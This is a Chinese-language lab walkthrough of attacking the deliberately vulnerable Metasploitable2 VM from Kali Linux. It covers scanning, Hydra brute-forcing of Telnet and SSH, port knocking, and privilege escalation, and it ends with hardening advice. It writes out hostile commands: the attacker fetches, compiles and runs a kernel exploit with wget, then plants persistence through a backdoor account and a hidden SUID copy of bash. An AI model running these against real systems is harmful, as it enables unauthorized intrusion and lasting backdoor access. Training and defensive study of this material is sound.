1. 项目概述:一次从“敲门”到“登堂入室”的实战演练
在网络安全的学习与实践中,理论知识的掌握固然重要,但真正的理解往往源于亲手操作。今天,我们就来深入探讨一个经典的实战场景:如何利用Kali Linux渗透测试发行版,对一个名为Metasploitable2的故意留有漏洞的靶机,发起一次从外部侦察到最终获取系统权限的完整攻击。这个项目的核心路径,聚焦于两个古老但至今仍广泛存在(尤其是在老旧或配置不当的系统上)的服务:SSH与Telnet。我们将从一个名为“端口敲门”的有趣技术开始,逐步深入到利用弱口令、已知漏洞等手段,最终实现权限提升。这不仅仅是一次工具使用的演示,更是一次对攻击者思维和防御者盲点的系统性剖析。无论你是刚接触安全的新手,还是希望巩固基础知识的从业者,这篇详尽的实战记录都将为你提供清晰的步骤、背后的原理,以及那些只有踩过坑才知道的注意事项。
2. 环境搭建与目标侦察
2.1 攻击与靶机平台准备
工欲善其事,必先利其器。我们的攻击平台是Kali Linux,这是一个专为渗透测试和网络安全审计设计的操作系统,预装了数百种安全工具。你可以将其安装在物理机、虚拟机(如VMware Workstation或VirtualBox)中。我个人的习惯是在VMware中安装,并配置为“桥接”网络模式,这样Kali虚拟机会获得与宿主机同网段的独立IP地址,便于与靶机通信。
注意:确保你的虚拟网络配置正确。如果Kali无法ping通宿主机或网关,检查虚拟机网络适配器设置是否为桥接模式,并确认宿主机的防火墙没有阻止ICMP协议。
靶机我们选择Metasploitable2。它是一个基于Ubuntu 8.04的Linux虚拟机,被故意配置了众多存在漏洞的服务和弱配置,是安全学习者绝佳的练习目标。从官方渠道下载OVA或镜像文件后,同样在虚拟机软件中导入并启动。关键一步:将Metasploitable2的网络也设置为桥接模式,确保它与Kali Linux在同一局域网内。启动后,系统通常会自动通过DHCP获取IP地址。
2.2 信息收集与目标定位
攻击的第一步永远是信息收集。我们需要找到靶机在哪里,以及它开放了哪些门(端口)。
首先,在Kali Linux中打开终端,我们需要确定当前网络的网段。使用ifconfig或ip addr命令查看Kali自身的IP地址,例如192.168.1.105,那么我们的扫描范围可能就是192.168.1.0/24。
接下来,使用Nmap进行主机发现和端口扫描。Nmap是网络探索和安全审计的瑞士军刀。我们执行一个综合扫描:
sudo nmap -sS -sV -O -p- 192.168.1.0/24-sS: TCP SYN扫描,一种半开放扫描,速度快且相对隐蔽。-sV: 探测开放端口上运行的服务及其版本信息,这对寻找特定漏洞至关重要。-O: 尝试识别目标主机的操作系统。-p-: 扫描所有65535个端口,避免遗漏非标准端口。
扫描完成后,我们从结果中寻找运行着许多已知服务(如Apache、vsftpd、SSH等)且版本可能较旧的主机,那很可能就是Metasploitable2。假设我们找到了目标IP:192.168.1.108。针对该IP进行更细致的扫描:
sudo nmap -sS -sV -sC -O -A -T4 192.168.1.108-sC: 使用默认的Nmap脚本进行更深入的探测。-A: 启用操作系统检测、版本检测、脚本扫描和traceroute。-T4: 指定扫描速度,T4为较快速度,平衡了速度和隐蔽性。
扫描报告会详细列出所有开放端口。在Metasploitable2上,你会看到一串长长的列表,包括21(FTP)、22(SSH)、23(Telnet)、80(HTTP)等。我们的焦点是22和23端口。
3. 核心攻击路径解析:SSH与Telnet的弱点
3.1 Telnet服务:明文传输与弱口令的“重灾区”
Telnet是一个古老的远程登录协议,其最大的问题在于所有通信(包括用户名和密码)都以明文形式传输。这意味着任何能够截获网络流量的人都可以轻易获取登录凭证。在Metasploitable2上,Telnet服务(端口23)是默认开放的,并且很可能存在弱口令。
攻击方法非常直接:暴力破解。我们可以使用Hydra、Medusa等工具。以Hydra为例:
hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.108 telnet-l root: 指定尝试的用户名为root(在Metasploitable2上,root用户可能允许远程登录,这本身就是一个配置错误)。-P ...: 指定密码字典。rockyou.txt是Kali自带的一个著名弱口令字典。- 最后指定协议和目标。
这个命令会尝试用字典中的每一个密码去登录root账户。由于Telnet没有加密开销,破解速度很快。实操心得:在实际测试中,Metasploitable2的root密码很可能就是root或者空密码。你可以先手动尝试一下,节省时间。
telnet 192.168.1.108连接后,输入用户名root,密码root或直接回车。如果成功,你将获得一个root shell。是的,通过Telnet,一步到位就拿到了最高权限,这赤裸裸地展示了使用明文协议和弱口令的致命性。
3.2 SSH服务:加密下的脆弱配置
SSH(Secure Shell)相比Telnet是巨大的进步,它通过加密保护了通信内容。然而,不安全的配置同样会带来风险。Metasploitable2上的SSH服务(端口22)可能存在以下几种问题:
- 弱口令:和Telnet一样,用户可能设置了简单的密码。
- 允许root登录:在
/etc/ssh/sshd_config中,如果PermitRootLogin设置为yes,攻击者就可以直接暴力破解root账户。 - 使用旧版或不安全的协议:如支持SSHv1,该版本存在缺陷。
- 已知漏洞:特定版本的SSH服务软件可能存在远程代码执行漏洞。
我们的攻击可以从暴力破解开始,使用Hydra针对SSH:
hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.108 ssh或者,如果我们通过信息收集(例如从网站漏洞中)获得了其他用户名(如msfadmin),可以针对该用户进行破解:
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt 192.168.1.108 ssh注意事项:SSH的加密过程使得每次登录尝试都比Telnet耗时更长。为了提高效率,可以:
- 使用
-t参数增加并行任务数,例如-t 4。 - 使用更精准的字典,而不是庞大的rockyou.txt开头部分。
- 如果目标有账户锁定机制,暴力破解可能会触发锁定。
除了暴力破解,如果SSH服务版本存在已知漏洞(可以通过nmap -sV的结果与漏洞库比对),我们可以尝试利用。例如,寻找对应的Metasploit模块。
3.3 端口敲门:一道隐蔽的“暗门”
端口敲门是一种有趣的隐蔽服务访问技术。它的原理是:服务端口(如SSH的22端口)默认是关闭的。只有客户端按照特定顺序和协议(如TCP、UDP)向一系列指定的“敲门端口”发送数据包后,防火墙规则才会临时打开目标端口一段时间。
在Metasploitable2上,可能配置了端口敲门来保护SSH服务。这意味着直接扫描22端口可能是关闭的,你需要先完成“敲门”序列。
假设我们通过其他途径(如源码泄露、配置错误)得知敲门序列是:1000/tcp,2000/udp,3000/tcp。
我们可以使用Nmap或简单的netcat(nc)来完成敲门:
# 使用nc nc -z 192.168.1.108 1000 # 敲第一个TCP门 nc -zu 192.168.1.108 2000 # 敲第二个UDP门 (-u 参数) nc -z 192.168.1.108 3000 # 敲第三个TCP门 # 或者使用nmap,但注意nmap默认发送的探测包可能不符合敲门守护进程的预期,有些实现只监听SYN包。 # 更可靠的方法是使用hping3或自己构造数据包。敲门完成后,迅速使用Nmap扫描22端口,或者直接尝试SSH连接:
ssh msfadmin@192.168.1.108核心原理与避坑:端口敲门的安全性建立在序列的保密性上。一旦序列泄露,其保护作用就消失了。此外,敲门操作必须在较短时间窗口内完成。作为攻击方,获取敲门序列可能需要社会工程学、流量监听(如果其他用户敲门)或系统其他漏洞。作为防御方,端口敲门增加了隐蔽性,但不应作为唯一的安全措施,必须配合强密码、密钥认证等。
4. 权限提升与后渗透初步
假设我们通过Telnet弱口令(root/root)成功登录,或者通过SSH暴力破解进入了msfadmin账户(密码可能是msfadmin)。现在我们获得了初始立足点,但可能不是最高权限(例如以msfadmin登录)。
4.1 信息搜集(内部)
在获得的shell中,首先进行内部信息搜集:
id: 查看当前用户和所属组。uname -a: 查看系统内核版本。cat /etc/passwd: 查看系统所有用户。sudo -l:非常关键!查看当前用户可以使用sudo以root权限运行哪些命令。如果配置不当,可能直接找到提权路径。find / -perm -u=s -type f 2>/dev/null: 查找SUID位设置的文件。SUID文件在执行时,会以文件所有者的权限运行。如果找到一个属于root且SUID设置了的bash或python,可能就是提权捷径。
4.2 利用内核漏洞提权
在Metasploitable2(Ubuntu 8.04)上,内核版本较旧,存在公开的本地提权漏洞。我们可以使用uname -a查看内核版本,例如2.6.24-16-server。然后,在Kali上搜索或利用searchsploit查找对应版本的漏洞利用代码。
# 在Kali上 searchsploit linux kernel 2.6.24 privilege escalation会列出多个可能的漏洞,例如Linux Kernel 2.6.22 < 3.9 - ‘Dirty COW’ /proc/self/mem Race Condition Privilege Escalation。但Dirty Cow漏洞影响范围更广,这里只是举例。我们需要找到适用于2.6.24的可靠利用代码。
找到后,将利用代码(一个.c文件)通过某种方式传输到靶机上。如果靶机有网络访问权限且安装了编译器(gcc),可以直接下载编译。如果没有网络,可以从Kali搭建一个简单的HTTP服务器:
# 在Kali上,在存放exp.c的目录 python3 -m http.server 8080然后在靶机shell中下载:
# 在靶机上 wget http://192.168.1.105:8080/exp.c gcc exp.c -o exp chmod +x exp ./exp如果漏洞利用成功,你会看到一个#提示符的root shell。
重大注意事项:在真实环境中,利用内核漏洞提权风险极高,可能导致系统崩溃(蓝屏/死机)。务必只在授权的测试环境或像Metasploitable2这样的专用靶机上进行。在编译exp前,最好先查看代码,理解其原理。
4.3 利用配置错误提权
除了内核漏洞,系统配置错误是更常见的提权途径。
- sudo滥用:如果
sudo -l显示当前用户可以无密码以root身份运行某些命令,例如/usr/bin/vim,那么可以:
在vim中,输入sudo vim /etc/passwd:!bash或:sh即可启动一个root shell。 - SUID文件:如果找到
/usr/bin/find设置了SUID位(实际在Metasploitable2中可能存在),可以:find / -exec /bin/bash -p \; - 计划任务(Cron Jobs):检查
/etc/crontab,看是否有以root身份运行的可写脚本。如果有,可以修改该脚本,加入反向shell命令,等待计划任务执行。
5. 防御视角与安全加固建议
通过这次实战,我们站在攻击者的角度看到了SSH和Telnet服务可能存在的诸多问题。现在,让我们换位思考,如何防御此类攻击。
5.1 Telnet服务:直接禁用
对于任何现代生产环境,首要且最有效的建议是彻底禁用Telnet服务。使用SSH作为唯一的远程管理协议。
- Ubuntu/Debian:
sudo systemctl disable --now telnet.socket(如果存在) - 更彻底的是卸载Telnet服务器软件包。
5.2 SSH服务安全加固
SSH是运维的生命线,必须严加防护。
- 禁止root直接登录:编辑
/etc/ssh/sshd_config,设置PermitRootLogin no。使用普通用户登录后,再通过su或sudo切换权限。 - 使用密钥认证,禁用密码认证:这是最强大的单点加固措施。生成SSH密钥对,将公钥上传到服务器的
~/.ssh/authorized_keys文件中,然后在sshd_config中设置PasswordAuthentication no。彻底杜绝暴力破解。 - 修改默认端口:将SSH端口从22改为一个高位端口(如
2222或3522)。这不能算作安全措施,但可以显著减少互联网上自动化脚本的扫描和攻击噪音。在配置文件中修改Port项。 - 使用强密码策略:如果必须使用密码认证,确保密码长度、复杂度足够,并定期更换。
- 限制访问来源:利用防火墙(如
iptables或ufw)只允许特定的、可信的IP地址或IP段访问SSH端口。 - 使用Fail2ban:这是一个日志分析工具,可以监控SSH登录失败日志,当同一IP在短时间内失败次数过多时,自动将其IP加入防火墙黑名单一段时间。
- 保持软件更新:及时更新SSH服务端(openssh-server)到最新版本,修复已知漏洞。
- 禁用不安全的协议和算法:在
sshd_config中,明确禁用SSHv1,并考虑禁用一些已知较弱的加密算法和MAC算法。
5.3 关于端口敲门的思考
端口敲门可以作为深度防御的一层,增加系统的隐蔽性。但它绝不能替代上述加固措施。它的作用类似于一个“暗号”,只有知道暗号的人才知道门在哪里。然而,一旦暗号泄露(例如通过键盘记录、流量分析或内部人员泄露),这层防护就失效了。因此,它更适合作为一个补充的、增加攻击复杂度的措施,与强认证(密钥)、访问控制(防火墙)结合使用。
5.4 系统层面加固
- 最小权限原则:用户和服务只应拥有完成其任务所必需的最小权限。避免使用root账户进行日常操作。
- 定期更新与补丁管理:为操作系统和应用软件及时安装安全补丁,尤其是公开披露的高危漏洞。
- 入侵检测与日志审计:配置并监控系统日志(如
/var/log/auth.log,/var/log/syslog),使用工具如AIDE(高级入侵检测环境)检查文件完整性。 - 关闭不必要的服务:使用
netstat -tulpn或ss -tulpn查看所有监听端口,关闭任何非必需的服务。
6. 常见问题与排查实录
在实战过程中,你可能会遇到以下问题:
问题1:Nmap扫描不到Metasploitable2靶机。
- 排查:首先确认两台虚拟机网络模式均为“桥接”(Bridge)。在Kali和Metasploitable2中分别执行
ip addr或ifconfig,查看IP地址是否在同一网段(如192.168.1.x)。如果Metasploitable2没有获取到IP,尝试重启网络服务sudo /etc/init.d/networking restart或检查虚拟机网络设置。 - 解决:确保主机防火墙没有阻止虚拟机间的通信。可以尝试从Kali ping靶机的IP,或从靶机ping Kali的IP。
问题2:Hydra暴力破解SSH速度极慢,且很快中断。
- 排查:这可能是网络延迟、目标SSH服务配置了登录延迟(如
LoginGraceTime)或失败限制(如MaxAuthTries),或者触发了系统的fail2ban。 - 解决:
- 使用
-t参数增加线程数,如-t 16。 - 使用更小、更精准的字典。
- 如果目标有
fail2ban,暴力破解不是好方法,应转向其他攻击面(如社会工程学、漏洞利用)。
- 使用
问题3:利用内核漏洞exp编译失败或执行后系统崩溃。
- 排查:exp代码可能依赖于特定的内核版本或编译环境(如gcc版本、内核头文件)。
- 解决:
- 在靶机上安装必要的开发工具包:
sudo apt-get update && sudo apt-get install build-essential linux-headers-$(uname -r)。 - 仔细阅读exp代码中的说明,查看是否有编译参数要求。
- 在互联网上搜索该exp的“使用说明”或“踩坑记录”。
- 最重要:在测试环境中先验证。系统崩溃是内核漏洞利用的常见风险。
- 在靶机上安装必要的开发工具包:
问题4:通过Telnet登录后,命令行界面显示异常或按键错乱。
- 排查:Telnet协议对终端类型的处理可能不完善。
- 解决:尝试在登录后设置终端类型:
export TERM=xterm,然后执行reset命令。或者,使用更稳定的SSH连接(如果你已经获得了密码)。
问题5:提权后,想维持持久化访问(留后门),但不知道如何下手。
- 思路:常见的持久化方法有:
- 添加用户:
useradd -m -s /bin/bash backdoor_user && echo ‘backdoor_user:password’ | chpasswd,并可能将其加入sudo组。 - SSH密钥后门:将攻击者的公钥写入
root或高权限用户的.ssh/authorized_keys文件中。 - 计划任务:在
/etc/crontab中添加定期连接反弹shell的任务。 - SUID后门:复制
/bin/bash并设置SUID位:cp /bin/bash /tmp/.shell && chmod 4755 /tmp/.shell,之后执行/tmp/.shell -p即可获得root shell。 - 动态链接库注入:更隐蔽,但更复杂。
- 添加用户:
- 注意:在授权测试中,留后门前必须获得明确许可。在真实渗透测试报告中,需详细记录后门位置和清除方法。
7. 工具链的深入与替代方案
本次实战主要使用了Nmap、Hydra、Netcat等经典工具。实际上,Kali Linux的工具箱远不止这些。针对同一目标,你可以尝试不同的工具和方法,以加深理解:
- 主机发现:除了Nmap,可以用
netdiscover(ARP扫描,局域网内极快)或Masscan(全网高速扫描)。 - 服务识别:除了Nmap的
-sV,可以用Amass进行更全面的子域名和资产发现,或者用WhatWeb、Wappalyzer(浏览器插件)识别Web技术栈。 - SSH暴力破解:除了Hydra,可以尝试
Medusa(据说在某些情况下更快)、Patator(模块化设计)或Ncrack(来自Nmap团队)。 - 漏洞利用:Metasploit Framework(MSF)是自动化漏洞利用的标杆。你可以搜索针对特定SSH服务版本的MSF模块。例如,在MSF控制台里:
search ssh_version,然后使用对应的扫描模块确认版本,再搜索相关漏洞利用模块。 - 后渗透与横向移动:获得shell后,可以使用
Meterpreter(MSF的payload)获得更强大的交互会话,或者使用Cobalt Strike、Empire等高级框架进行命令控制和横向移动。
我个人在多次实战中发现,工具是死的,思路是活的。最有效的攻击往往不是用最炫酷的工具,而是对目标系统最深入的理解和最简单的技术组合。例如,一个弱口令的危害可能远大于一个复杂的远程代码执行漏洞,因为前者更常见,利用门槛更低。因此,在练习时,不要只满足于运行成功的命令,多问问自己:这个服务为什么存在?这个配置为什么错误?如果我是管理员,我该如何发现并修复它?这种双向思考,才是从“脚本小子”走向安全专家的关键。